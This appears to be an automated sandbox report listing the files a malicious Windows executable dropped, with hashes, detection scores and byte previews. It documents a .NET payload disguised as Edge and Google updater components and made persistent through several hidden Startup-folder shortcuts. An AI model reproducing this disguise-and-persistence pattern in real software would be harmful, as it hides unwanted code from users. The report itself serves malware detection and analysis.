Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8396
Entropy (8bit):	3.691950072733271
Encrypted:	false
SSDEEP:	192:R6l7wVeJs5z6P6Y9gSU9fCgmfZ80prr89bl+sflXm:R6lXJAz6P6Y6SU9fCgmfO9l9f4
MD5:	6E76FC82FA7BA658D4D8A7868CC02B40
SHA1:	17D38600D37F8A7D608AAD84152153B299229078
SHA-256:	5CE0A5A5223572807D05146FE7772A07817590F5CF3837B62CA05BC58159D0FD
SHA-512:	6C73F67E0E4DDDF414136A0321D31253CBA2A3DF594BD4B369DD3ED01888D55A2CC0EB91F0F768444B94A3A201B5E7DDB69A98016987AF665A1E7251C7E43C82
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA839.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4751
Entropy (8bit):	4.470353774432391
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgJg77aI9wTWpW8VYuYm8M4JcgCEO7FXSm+q8vCCEOuUh7F7qd:uIjfmI7mi7V+Jcg3oBKC3Ah7F7qd
MD5:	1703AEA7156FAB525A49AE6055CB834E
SHA1:	B1506D17AAB3CD9AC03D4D15BE64F69639CF6B0C
SHA-256:	C9FD6EF9AF2BD97F084795F11B15E351C5DD7B31C8F7EF31574980F487B8E67A
SHA-512:	5026B2D3F806E6AE56E21FED830AFC3C1972F3612D6992F89E65A8CAF7B207BE53F19012F93717DF6F62D7145A0D0E6727DA2E1D09B652E0C727A297A9FFEF2A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="526795" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC4F6.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Oct 3 04:52:39 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	187959
Entropy (8bit):	4.131667475197192
Encrypted:	false
SSDEEP:	1536:kdJ/nX09s+uBojRDpN4uE2aOESVXtHlLTgHW6eJ+AyhItO0kZhCDHytTkkqM/CaS:kdJfk9t74uEqEydFLTg26CJtWkHsE
MD5:	AB965DC7A3B791DA5583020C2A47EA17
SHA1:	1AAE8278A605A9C0FE15B74E6120D60DCFBC2BD2
SHA-256:	75D5D4AD8E843758D62EABBB8E945C4A8FED81783F303B8E5126A43FE7A29C14
SHA-512:	0A9C76A69F72F798C1AC450EB9CCD73AC9578230D1BF2613B7B5D17183CC33FAB5B9CF90C34B30BCD3BFC01D58522C394993E7B3249A797D3D95E8773866DC0F
Malicious:	false
Preview:	MDMP..a..... ........#.f........................x...........$............ ...9..........`.......8...........T............%..............4........... ...............................................................................eJ..............GenuineIntel............T............#.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC5A3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8406
Entropy (8bit):	3.6904315926473514
Encrypted:	false
SSDEEP:	192:R6l7wVeJqK6kx6Y9iSU9cx7gmfZz0prM89b7RBsf1ZBm:R6lXJv6i6YYSU947gmfdI7R6fD8
MD5:	E17DA355FC349E661FECF755920DB52F
SHA1:	2EBF96D3F8D78D211691B9FBD1ED6D7E4C8AF425
SHA-256:	A4D90D4913CF89CE1FC5B7BFB249155F8F44A4E0E0A97BFBBF6410C3FDD85F5A
SHA-512:	144045FF12C09295118948157534B8F266C907C2AF900A0CD6B638029569BA169443C405CA822F22B8DB39F2E8C306665CA8FBF8A15764D67A45673D0484D72F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.3.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC5D3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4766
Entropy (8bit):	4.469471785857876
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgJg77aI9wTWpW8VY8Ym8M4J2EO7FfE+q8vYEOBAEEd:uIjfmI7mi7VUJDDKhcAEEd
MD5:	0315BF7314C1920FF65A7E2AD3319135
SHA1:	98530E9162CEC0EA4DCACB26E829C35CFC5C69A2
SHA-256:	87E3426E19F8CE7B4CCD531DA91ABAA7178C583A26B93DD72994388E8AEBA915
SHA-512:	A92225918298BCAD48F6EEC766303F7B3461EC6DF319E24D7AD2FB548C72C97CE45113E3D1610ED02FA102988A164309B62C6FCE7CA2552D1E64E73E1872D412
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="526795" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27136
Entropy (8bit):	5.535887181284353
Encrypted:	false
SSDEEP:	384:HvVTF7OeRFOJPxyhd/jP+ZhxZL8fDPE5I0+TkFBUM9ekamBrqEjDD2DUj7+uWZFj:H95FOJPxQWV2/k7Uuhq4/+uWz
MD5:	CDB17E17BC4E4D51FDE6A4620CEC014C
SHA1:	C184C6C58A66555685BE713DCD2D11E6F0AF7C37
SHA-256:	B10C9D5286C17C05F587660664AB7F5723817FC98343C02C6B91CCC562E1019F
SHA-512:	ACDE9CF8B3EE05EFE99F5BD1E096E2016F0F6F7FC196F89F6A9592480EE0AFE134D4EBDB2A5C6C8782290C5DA31B07F9E58CC1722A9FE4BF70D9CA05E1B2417A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 35%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..`...........~... ........@.. ....................................`.................................D~..W.................................................................................... ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@..@.reloc...............h..............@..B.................~......H.......tE...8............................................................((...6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sD...%oE....`oF...F.(G...(H...(...+..oL...%:....&.(M....{.....oN...Z.{....r...p(....(Y...2.{....(>...6.\| ....(4...6.\|$....(4...6.\|(....(4...6.\|0....(4...6.\|4....(4....(f...(...+.rk..p(.....7...r...p(.....8...sk....9....s7....:.....ol...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4...*..0..n.........(.....

C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe:Zone.Identifier

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27136
Entropy (8bit):	5.535887181284353
Encrypted:	false
SSDEEP:	384:HvVTF7OeRFOJPxyhd/jP+ZhxZL8fDPE5I0+TkFBUM9ekamBrqEjDD2DUj7+uWZFj:H95FOJPxQWV2/k7Uuhq4/+uWz
MD5:	CDB17E17BC4E4D51FDE6A4620CEC014C
SHA1:	C184C6C58A66555685BE713DCD2D11E6F0AF7C37
SHA-256:	B10C9D5286C17C05F587660664AB7F5723817FC98343C02C6B91CCC562E1019F
SHA-512:	ACDE9CF8B3EE05EFE99F5BD1E096E2016F0F6F7FC196F89F6A9592480EE0AFE134D4EBDB2A5C6C8782290C5DA31B07F9E58CC1722A9FE4BF70D9CA05E1B2417A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 35%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..`...........~... ........@.. ....................................`.................................D~..W.................................................................................... ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@..@.reloc...............h..............@..B.................~......H.......tE...8............................................................((...6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sD...%oE....`oF...F.(G...(H...(...+..oL...%:....&.(M....{.....oN...Z.{....r...p(....(Y...2.{....(>...6.\| ....(4...6.\|$....(4...6.\|(....(4...6.\|0....(4...6.\|4....(4....(f...(...+.rk..p(.....7...r...p(.....8...sk....9....s7....:.....ol...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4...*..0..n.........(.....

C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0041bb5e6a304e3ab1306a0efb97daf8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:35 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94236155134753
Encrypted:	false
SSDEEP:	24:8p4RkeYl1RogKrA5+W8Ajfv/42egvqyFm:8p4Rkr1R8AZjvgTyF
MD5:	F778E3CC3D5E3961C8C38377D6579519
SHA1:	1866265C5EF5550E8B7BDF342E8D1749599134A0
SHA-256:	908890CC5C2A331AF7F241FD4FD7449414C1C766D5ECE40D6AA6A1E232400101
SHA-512:	2E93C3E7802DE036048818307B553E40CC7E22FBE0947C6AA042F6D104B0B665DD8C0B1A1A301F52C81B1F7CCEB68A02FBCF488D00AC88D5A49B979822E5A241
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_04b170d6c7ce4a1cbf80adf59681ef6c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:12 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939483990559161
Encrypted:	false
SSDEEP:	24:8pYRheYl1RogKrA5+W8Ajfv/42egvqyFm:8pYRhr1R8AZjvgTyF
MD5:	8102BB75336D217B3F559ECE8E7358E1
SHA1:	4E1AB552DD3EA14C295FFF961C7A41B9933DFAE1
SHA-256:	E8243F7EE2D3C544018104F30678F683984A36DB23F941D58DBBBE575C6B66BD
SHA-512:	BDFA1D60EFF73D510F6390F3CC4D57D5F91364D3EAC8022CEB403ED289A9FEE642179F28C361BBF118F061E6BBCA05FED399A35A3331947F9E99D7B10C965D0E
Malicious:	false
Preview:	L..................F...."......P...T.fJP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....GP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0657835699574d798ee14fa601ae70ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:57 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938846954692357
Encrypted:	false
SSDEEP:	24:8pOjRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pOjRjr1R8AZjvgTyF
MD5:	FF3843D1C10633B17A15E2D4BD5EEFA0
SHA1:	8894A1DE548B65199BB8CEC92B6EED7E948B924E
SHA-256:	D8E5B7C912E89333D828C8E5264BAF97C6ABE1C880D6834921C794A65F386DC4
SHA-512:	C191E345900F52CCA091A91255B8257CB7F43898CE24F368043491CEB6FC25A1860E33DE12D55143106314C8738A1D548FFC6A432090181EBE29E1B46BF74F32
Malicious:	false
Preview:	L..................F...."......P...i...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_067c27cc5a44493a9de076a306d25402.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:15 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94540766145254
Encrypted:	false
SSDEEP:	24:8pQRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pQRjr1R8AZjvgTyF
MD5:	C947BDE04B99E57EEC21D51E1DA31581
SHA1:	54C95602AD518515E44726237BC78F57F3E76B3F
SHA-256:	67DCE427461948AA4DBA3AF8DBEDA315BC5A09638552586FE3D20B45CCD9CC12
SHA-512:	9BD0FF68EF5E952D4F4A4F1F9BD2043868FDE8D06B4E7AF53B5C72CF1AD82381E7242ECB000183A185E4D1042C3D0F9DCF20AB08676F47A56735D21C40F2BABF
Malicious:	false
Preview:	L..................F...."......P.....y(P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_06a2df6d73e84a5e813020c8b6294cb5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:21 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.948614639562059
Encrypted:	false
SSDEEP:	24:8puRrCeYl1RogKrA5+W8Ajfv/42egvqyFm:8puRrCr1R8AZjvgTyF
MD5:	23B7177ABDED7AF4D469C9444DA56CD1
SHA1:	E0511AE039513DDF0FAA0D142892D19CAA4EE6CB
SHA-256:	83D8CFA6FDA7E04E3788F84460415525C00D2517572AF9B696237728AC0B8380
SHA-512:	7AF33A3CA16C2885953D7233B95C98498C4B8131C001802D59DF26141B0DAD02F5E16EE8C16D0EAB8D44DFD873DEAA45B0EFD4A38ED40B3B27125FD0F4FBB3E5
Malicious:	false
Preview:	L..................F...."......P....XOP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...:.NP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_09c0a750f11d494884999ce6371b08dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:47 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944602076269094
Encrypted:	false
SSDEEP:	24:8pWRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pWRBr1R8AZjvgTyF
MD5:	6BE23A1E546E6F00F7B157135397C89B
SHA1:	1389A3A0B2A20EB701D3BC6A36404177C9C65C62
SHA-256:	F3E4EC977EBCE569911A2EAFFF44B7626A452260464B83DB027170E010E195B9
SHA-512:	0BF93B11AEDFCFA111251965E197C629F2CBD804E3F68FA76F660570DEEEF5804DABC9C8D4A39D67DC9DB4387342992032D175402F3CA4723EBD360FB28AD3EF
Malicious:	false
